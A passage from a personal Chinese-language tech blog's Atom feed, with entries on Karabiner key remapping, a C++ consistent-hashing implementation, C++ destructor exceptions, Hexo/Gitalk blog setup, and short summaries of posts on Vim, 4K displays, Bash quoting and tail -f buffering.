              &amp;quot;key_code&amp;quot;: &amp;quot;return_or_enter&amp;quot;
            }
          ]
        }
      ]
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;title&amp;quot;: &amp;quot;command + h&amp;#x2F;j&amp;#x2F;k&amp;#x2F;l&amp;#x2F;u&amp;#x2F;i to arrow keys and home end&amp;quot;,
  &amp;quot;rules&amp;quot;: [
    {
      &amp;quot;description&amp;quot;: &amp;quot;Change Command + h&amp;#x2F;j&amp;#x2F;k&amp;#x2F;l to Arrows&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;h&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_arrow&amp;quot;
            }
          ]
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;j&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;down_arrow&amp;quot;
            }
          ]
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;k&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;up_arrow&amp;quot;
            }
          ]
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;l&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;right_arrow&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Change Command + u&amp;#x2F;i to home&amp;#x2F;end&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;u&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;home&amp;quot;
            }
          ]
        },
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;i&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;mandatory&amp;quot;: [
                &amp;quot;command&amp;quot;
              ],
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;end&amp;quot;
            }
          ]
        }
       
      ]
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一致性哈希</title>
        <published>2022-03-12T13:45:20+08:00</published>
        <updated>2022-03-12T13:45:20+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/一致性哈希/"/>
        <id>https://vercel.juzhong.asia/2022/03/一致性哈希/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/一致性哈希/">&lt;h1 id=&quot;yi-zhi-xing-ha-xi&quot;&gt;一致性哈希&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;yi-zhi-xing-hash&quot;&gt;一致性hash&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; http:&amp;#x2F;&amp;#x2F;walkerdu.com&amp;#x2F;2020&amp;#x2F;01&amp;#x2F;02&amp;#x2F;consistent_hash&amp;#x2F;
&amp;#x2F;* 
 * map
 * 对于map的底层原理，是通过红黑树（一种非严格意义上的平衡二叉树）来实现的，因此map内部所有的数据都是有序的，map的查询、插入、删除操作的时间复杂度都是O(logn)。
 * 此外，map的key需要定义operator &amp;lt;，对于一般的数据类型已被系统实现，若是用户自定义的数据类型，则要重新定义该操作符。
 * 
 * unordered_map
 * unordered_map和map类似，都是存储的key-value的值，可以通过key快速索引到value。不同的是unordered_map不会根据key的大小进行排序，存储时是根据key的hash值判断元素是否相同，
 * 即unordered_map内部元素是无序的。unordered_map的底层是一个防冗余的哈希表（开链法避免地址冲突）。unordered_map的key需要定义hash_value函数并且重载operator ==
*&amp;#x2F;

#include &amp;lt;climits&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;map&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;sstream&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;functional&amp;gt;
#include &amp;lt;numeric&amp;gt;

template&amp;lt;typename T&amp;gt;
std::string ToString(const T &amp;amp; t)
{
  std::ostringstream os;
  os&amp;lt;&amp;lt;t;
  return os.str();
}

template&amp;lt;typename Node, typename Data, typename Hash&amp;gt;
class ConsistentHash
{
  public:
    ConsistentHash(uint32_t virtual_nodes = 100)
      : hash_(Hash()), virtual_nodes_(virtual_nodes)
    {}

    void AddNode(const Node &amp;amp; node)
    {
      std::string str_node = ToString(node);
      for(uint32_t loop_i = 0; loop_i &amp;lt; virtual_nodes_; ++loop_i)
      {
        std::string key = str_node + &amp;quot;_&amp;quot; + ToString(loop_i);
        uint64_t hash_value = hash_(key);
        unit_circle_.insert(std::make_pair(hash_value, node));
      }
    }

    void DelNode(const Node &amp;amp; node)
    {
      std::string str_node = ToString(node);
      for(uint32_t loop_i = 0; loop_i &amp;lt; virtual_nodes_; ++loop_i)
      {
        std::string key = str_node + &amp;quot;_&amp;quot; + ToString(loop_i);
        uint64_t hash_value = hash_(key);
        unit_circle_.erase(hash_value);
      }
    }

    const Node * GetNode(const Data &amp;amp; data) const
    {
      if(unit_circle_.empty())
        return nullptr;

      uint64_t hash_value = hash_(ToString(data));
      auto itr = unit_circle_.lower_bound(hash_value);
      if(itr == unit_circle_.end())
        return &amp;amp;unit_circle_.begin()-&amp;gt;second;
      return &amp;amp;itr-&amp;gt;second;
    }

    void PrintBalacne() const
    {
      std::map&amp;lt;uint64_t, uint64_t&amp;gt; distribute_map;

      uint64_t last_val = 0;
      for(auto &amp;amp; val : unit_circle_)
      {
        auto itr = unit_circle_.upper_bound(val.first);
        if(itr == unit_circle_.end())
          distribute_map[val.second] += uint64_t(-1) - val.first + unit_circle_.begin()-&amp;gt;first;

        distribute_map[val.second] += itr-&amp;gt;first - val.first;
      }

      for(auto &amp;amp; val : distribute_map)
        std::cout&amp;lt;&amp;lt;val.first&amp;lt;&amp;lt;&amp;quot;: &amp;quot;&amp;lt;&amp;lt;val.second&amp;lt;&amp;lt;&amp;quot;: &amp;quot;&amp;lt;&amp;lt;val.second * 1.0 &amp;#x2F; double(uint64_t(-1))&amp;lt;&amp;lt;std::endl;
    }

  private:
    std::map&amp;lt;uint64_t, Node&amp;gt; unit_circle_;
    uint32_t virtual_nodes_;
    Hash hash_;
};

&amp;#x2F;&amp;#x2F; class CityHasher {
&amp;#x2F;&amp;#x2F;   public:
&amp;#x2F;&amp;#x2F;     int operator()(std::string t) {
&amp;#x2F;&amp;#x2F;       int res;
&amp;#x2F;&amp;#x2F;         for (int i=0; i&amp;lt;t.size(); i++) {
&amp;#x2F;&amp;#x2F;           res += t[i];
&amp;#x2F;&amp;#x2F;           res *= 13;
&amp;#x2F;&amp;#x2F;           res %= INT_MAX;
&amp;#x2F;&amp;#x2F;         }
&amp;#x2F;&amp;#x2F;         return res;
&amp;#x2F;&amp;#x2F;     }
&amp;#x2F;&amp;#x2F; };

int main()
{
  auto hash_int = std::hash&amp;lt;int&amp;gt;();
  auto v = std::vector&amp;lt;int&amp;gt;(1000);
  iota(v.begin(),v.end(), 0);
  for (const auto&amp;amp; i: v) {
    std::cout &amp;lt;&amp;lt; &amp;quot;hash int i: &amp;quot;&amp;lt;&amp;lt; hash_int(i) &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
  }

  ConsistentHash&amp;lt;uint32_t, uint32_t, std::hash&amp;lt;std::string&amp;gt;&amp;gt; consistent_hash;
  for(uint32_t loop_i = 1; loop_i &amp;lt;= 5; ++loop_i)
    consistent_hash.AddNode(loop_i);

  std::cout &amp;lt;&amp;lt; &amp;quot;********original hash\n&amp;quot;;
  consistent_hash.PrintBalacne();

  std::cout &amp;lt;&amp;lt; &amp;quot;********delete 3 hash\n&amp;quot;;
  consistent_hash.DelNode(3);
  consistent_hash.PrintBalacne();
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx抛异常</title>
        <published>2022-02-10T16:54:35+08:00</published>
        <updated>2022-02-10T16:54:35+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/02/cxx抛异常/"/>
        <id>https://vercel.juzhong.asia/2022/02/cxx抛异常/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/02/cxx抛异常/">&lt;h1 id=&quot;cxxpao-yi-chang&quot;&gt;cxx抛异常&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;c-cheng-xu-pao-chu-yi-chang-hou-zhi-xing-shun-xu&quot;&gt;C++程序抛出异常后执行顺序&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xi-gou-han-shu-zhong-shi-fou-ke-yi-pao-chu-yi-chang&quot;&gt;析构函数中是否可以抛出异常&lt;&#x2F;h2&gt;
&lt;p&gt;首先我们看一个常见的问题，析构函数中是否可以抛出异常。答案是C++标准指明析构函数不能、也不应该抛出异常！
　　C++异常处理模型是为C++语言量身设计的，更进一步的说，它实际上也是为C++语言中面向对象而服务的。C++异常处理模型最大的特点和优势就是对C++中的面向对象提供了最强大的无缝支持。那么如果对象在运行期间出现了异常，C++异常处理模型有责任清除那些由于出现异常所导致的已经失效了的对象(也即对象超出了它原来的作用域)，并释放对象原来所分配的资源， 这就是调用这些对象的析构函数来完成释放资源的任务，所以从这个意义上说，析构函数已经变成了异常处理的一部分。
下面我们来看看析构函数中不能抛出异常的两个理由：
　　1）如果析构函数抛出异常，则异常点之后的程序不会执行，如果析构函数在异常点之后执行了某些必要的动作比如释放某些资源，则这些动作不会执行，会造成诸如资源泄漏的问题。
　　2）通常异常发生时，c++的机制会调用已经构造对象的析构函数来释放资源，此时若析构函数本身也抛出异常，则前一个异常尚未处理，又有新的异常，会造成程序崩溃的问题。
　　那么当无法保证在析构函数中不发生异常时， 该怎么办?
　　其实还是有很好办法来解决的。那就是把异常完全封装在析构函数内部，决不让异常抛出函数之外。这是一种非常简单，也非常有效的方法。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hexo and gitalk</title>
        <published>2021-06-11T21:03:41+08:00</published>
        <updated>2021-06-11T21:03:41+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2021/06/hexo-config/"/>
        <id>https://vercel.juzhong.asia/2021/06/hexo-config/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2021/06/hexo-config/">&lt;h1 id=&quot;hexo-and-gitalk&quot;&gt;Hexo and gitalk&lt;&#x2F;h1&gt;
&lt;p&gt;Welcome to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;&quot;&gt;Hexo&lt;&#x2F;a&gt;! This is very first post. Check &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;&quot;&gt;documentation&lt;&#x2F;a&gt; for more info. If get any problems when using Hexo, can find the answer in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;troubleshooting.html&quot;&gt;troubleshooting&lt;&#x2F;a&gt; or asking on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hexojs&#x2F;hexo&#x2F;issues&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hexo&quot;&gt;Hexo&lt;&#x2F;h1&gt;
&lt;p&gt;网上的教程比较丰富, 简单记录一下&lt;&#x2F;p&gt;
&lt;h1 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo npm install -g hexo-cli
cd blog.git &amp;amp;&amp;amp; npm install hexo

npm install hexo-theme-icarus
hexo config theme icarus
cat &amp;gt;&amp;gt; _config.yml &amp;lt;&amp;lt;EOF
widgets:
  - type: profile
    position: left
  - type: recent_posts
    position: right
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;hexo 找不到主题时会导致打开首页为空白的页面&lt;&#x2F;p&gt;
&lt;h2 id=&quot;quick-start&quot;&gt;Quick Start&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;create-a-new-post&quot;&gt;Create a new post&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ hexo new &amp;quot;My New Post&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;More info: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;writing.html&quot;&gt;Writing&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;run-server&quot;&gt;Run server&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ hexo server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;More info: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;server.html&quot;&gt;Server&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;generate-static-files&quot;&gt;Generate static files&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ hexo generate
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;More info: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;generating.html&quot;&gt;Generating&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;deploy-to-remote-sites&quot;&gt;Deploy to remote sites&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ hexo deploy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;More info: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hexo.io&#x2F;docs&#x2F;one-command-deployment.html&quot;&gt;Deployment&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;github-pages&quot;&gt;Github Pages&lt;&#x2F;h1&gt;
&lt;p&gt;git 私有 Repository部署&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-zhuang-hexo-deployer-git&quot;&gt;安装 hexo-deployer-git.&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;npm config set proxy http:&amp;#x2F;&amp;#x2F;192.168.1.163:10809
npm install hexo-deplyer-git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zai-config-ymltian-jia-ru-xia-pei-zhi&quot;&gt;在 _config.yml添加如下配置：&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;deploy:
  type: git
  repo: https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;&amp;lt;username&amp;gt;&amp;#x2F;&amp;lt;project&amp;gt;
  # example, https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;hexojs&amp;#x2F;hexojs.github.io
  branch: gh-pages
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;archerzhu-ti&quot;&gt;archer主题&lt;&#x2F;h1&gt;
&lt;p&gt;在Hexo目录下执行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;npm i hexo-generator-json-content --save &amp;amp;&amp;amp; npm i --save hexo-wordcount &amp;amp;&amp;amp; git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;fi3ework&amp;#x2F;hexo-theme-archer.git themes&amp;#x2F;archer --depth=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改Hexo目录下的 _config.yml 的 theme 字段为 archer
添加sidebar启用支持：
在Hexo目录下的 _config.yml 中添加以下字段（不是archer下的 _config.yml）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;theme: archer
jsonContent:
  meta: true
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: true
    excerpt: false
    categories: true
    tags: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gitalk&quot;&gt;Gitalk&lt;&#x2F;h1&gt;
&lt;p&gt;gitalk 配置时本人遇到了部分问题,这里记录下正确运行后的步骤&lt;&#x2F;p&gt;
&lt;h2 id=&quot;github-setting&quot;&gt;github setting&lt;&#x2F;h2&gt;
&lt;p&gt;生成github的clientID 和 client Secrets&lt;br &#x2F;&gt;
生成位置: Settings &amp;gt; Developer &amp;gt; settings&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gitalk-config&quot;&gt;gitalk config&lt;&#x2F;h2&gt;
&lt;p&gt;使用的主题archer
从themes&#x2F;archer&#x2F;_config.yml拷贝到hexo项目目录,命名为_config.archer.yml
修改配置: client id 和 client secret为上面github setting生成的内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;   gitalk_client_id: xxx
   gitalk_client_secret: xxxxxx
   gitalk_admin: github_user_name
   gitalk_owner: github_user_name
   gitalk_repo: github_repo
   gitalk_pathname_id: false
   gitalk_create_issue_manually: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hexocha-ru-tu-pian&quot;&gt;Hexo插入图片&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;an-zhuang-cha-jian&quot;&gt;安装插件&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;npm install hexo-renderer-marked&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;config-yamlzhong-geng-gai-pei-zhi-ru-xia&quot;&gt;config.yaml中更改配置如下：&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;post_asset_folder: true
marked:
prependRoot: true
postAsset: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-yong-orgwen-dang-sheng-cheng-hexobo-ke-wen-zhang&quot;&gt;使用org文档生成Hexo博客文章&lt;&#x2F;h2&gt;
&lt;p&gt;hexo-renderer-org 是 hexo 的一个插件, 用于将 org 文档生成 hexo 的博客文章. Hexo 解析 Markdown 文档的能力保持不变, 相当于给 Hexo 加上 org 文档的支持.
&lt;code&gt;npm install https:&#x2F;&#x2F;github.com&#x2F;mpwang&#x2F;hexo-renderer-org#master --save&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;npm install https:&#x2F;&#x2F;github.com&#x2F;mpwang&#x2F;hexo-renderer-org#master --save tets&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h2&gt;
&lt;p&gt;安装了 hexo-renderer-org 之后, hexo 命令会使用 emacsclient 去连接 emacs server, 使 用 org export 功能将 org 文档转换成 html, 所以要求 emacs 开启 server 进程.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hexo-de-pei-zhi&quot;&gt;hexo 的配置&lt;&#x2F;h2&gt;
&lt;p&gt;在 hexo 博客的配置文件 _config.yml 中添加&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;org:
  # 指定 emacs 执行文件路径
  emacs: &amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;emacs&amp;#x27;
  # 指定 emacsclient 执行文件路径
  emacsclient: &amp;#x27;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;emacsclient&amp;#x27;
  # 是否生成自动注脚, t 为开启, nil 为关闭
  common: |
    #+OPTIONS: html-postamble:nil
  clean_cache: true
  daemonize: true
  # emacs server file 路径, 如果不指定, 以下为默认值
  server_file: &amp;quot;~&amp;#x2F;.emacs.d&amp;#x2F;server&amp;#x2F;server&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Vim 使用系统剪切板</title>
        <published>2020-09-04T00:00:00+08:00</published>
        <updated>2020-09-04T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2020/09/vim-clipboard/"/>
        <id>https://vercel.juzhong.asia/2020/09/vim-clipboard/</id>
        
        <summary type="html">&lt;h1 id=&quot;vim-shi-yong-xi-tong-jian-qie-ban&quot;&gt;Vim 使用系统剪切板&lt;&#x2F;h1&gt;
&lt;p&gt;Vim 是运行在 Terminal 里的 Shell 程序，所以要把内容拷贝出来可以通过 Terminal，也可以通过 Vim 自己。不配置 Vim 剪切板时只能通过 Shell 来拷贝粘贴：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过 Shell 拷贝（比如在 iTerm 里按住 Alt 选取内容）会有问题：比如会包含 Vim 左侧行号、折行变成了换行。&lt;&#x2F;li&gt;
&lt;li&gt;通过 Shell 粘贴有类似的问题：相比于 &lt;code&gt;p&lt;&#x2F;code&gt; 命令，在插入模式下 Ctrl+V 时 Vim 会把内容当作字符键入，触发 Vim 的所有处理键入的插件，比如自动补全、语法检查等。不仅会很慢，而且可能会破坏你的内容（比如粘贴一对括号，可能 Vim 会再帮你自动补全一个多余的右括号）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以完美的拷贝粘贴一定要通过 Vim 本身。Vim 中 &lt;code&gt;p&lt;&#x2F;code&gt;（paste）、&lt;code&gt;d&lt;&#x2F;code&gt;（delete）、&lt;code&gt;y&lt;&#x2F;code&gt;（yank）等拷贝粘贴操作使用的是 &lt;strong&gt;匿名寄存器&lt;&#x2F;strong&gt; &lt;code&gt;&quot;&quot;&lt;&#x2F;code&gt;（unnamed register），本文就来解释怎么在 Mac&#x2F;Windows&#x2F;Linux 上把 Vim 的 &lt;strong&gt;匿名寄存器&lt;&#x2F;strong&gt; 映射到操作系统的剪切板。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;TL; DR&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;确保你的 vim 支持剪切板，通过 &lt;code&gt;vim --version | grep clipboard&lt;&#x2F;code&gt; 检查。&lt;&#x2F;li&gt;
&lt;li&gt;确定你的剪切板寄存器是 &lt;code&gt;&quot;+&lt;&#x2F;code&gt;（XA_SECONDARY）还是 &lt;code&gt;&quot;*&lt;&#x2F;code&gt;（XA_PRIMARY）。&lt;&#x2F;li&gt;
&lt;li&gt;同步剪切板和匿名寄存器，在 &lt;code&gt;~&#x2F;.vimrc&lt;&#x2F;code&gt; 添加配置比如 &lt;code&gt;set clipboard=unnamed&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>4K 设备配置指南</title>
        <published>2020-07-04T00:00:00+08:00</published>
        <updated>2020-07-04T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2020/07/4k-device/"/>
        <id>https://vercel.juzhong.asia/2020/07/4k-device/</id>
        
        <summary type="html">&lt;h1 id=&quot;4k-she-bei-pei-zhi-zhi-nan&quot;&gt;4K 设备配置指南&lt;&#x2F;h1&gt;
&lt;p&gt;只要 4K 显示器就能拥有 4K 体验吗？这篇文章写在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;4K_resolution&quot;&gt;4K 出现&lt;&#x2F;a&gt; 六年之后的今天，再来重新审视这个问题，以及如何正确地配备显示器、片源、网络和视频线缆。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Bash 转义和引号的使用</title>
        <published>2020-06-26T00:00:00+08:00</published>
        <updated>2020-06-26T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2020/06/bash-quote-escape/"/>
        <id>https://vercel.juzhong.asia/2020/06/bash-quote-escape/</id>
        
        <summary type="html">&lt;h1 id=&quot;bash-zhuan-yi-he-yin-hao-de-shi-yong&quot;&gt;Bash 转义和引号的使用&lt;&#x2F;h1&gt;
&lt;p&gt;字面量、转义和引号是任何编程语言的基础，但却少有人认真地学习 Bash 中的转义和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;Quoting.html#Quoting&quot;&gt;引号&lt;&#x2F;a&gt;。
好消息是 Bash 引号的语义非常简单，这篇文章就可以完全描述。
&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;反斜线用来转义除换行之外的所有字符，反斜线加换行为连行;&lt;&#x2F;li&gt;
&lt;li&gt;单引号用来直出字面量，其内容部分不允许转义，包括单引号转义也不允许；&lt;&#x2F;li&gt;
&lt;li&gt;双引号内允许 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;Command-Substitution.html#Command-Substitution&quot;&gt;命令替换&lt;&#x2F;a&gt; 和对特定几个字符转义，双引号内的反斜线对其他字符没有特殊含义，会被当作字面量处理。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>对 tail -f 使用管道</title>
        <published>2020-06-06T00:00:00+08:00</published>
        <updated>2020-06-06T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2020/06/tail-f-pipe/"/>
        <id>https://vercel.juzhong.asia/2020/06/tail-f-pipe/</id>
        
        <summary type="html">&lt;h1 id=&quot;dui-tail-f-shi-yong-guan-dao&quot;&gt;对 tail -f 使用管道&lt;&#x2F;h1&gt;
&lt;p&gt;最近发现 &lt;code&gt;tail -f&lt;&#x2F;code&gt; 时管道后面的程序都会被卡住，才发现 grep，sed，awk 不直接输出到 TTY 时都是带缓冲的。平时跟在 &lt;code&gt;cat&lt;&#x2F;code&gt; 后使用没问题是因为输入管道关闭触发了 flush。本文详细解释其中的坑，以及怎么让 sed, awk, grep 立即 flush。
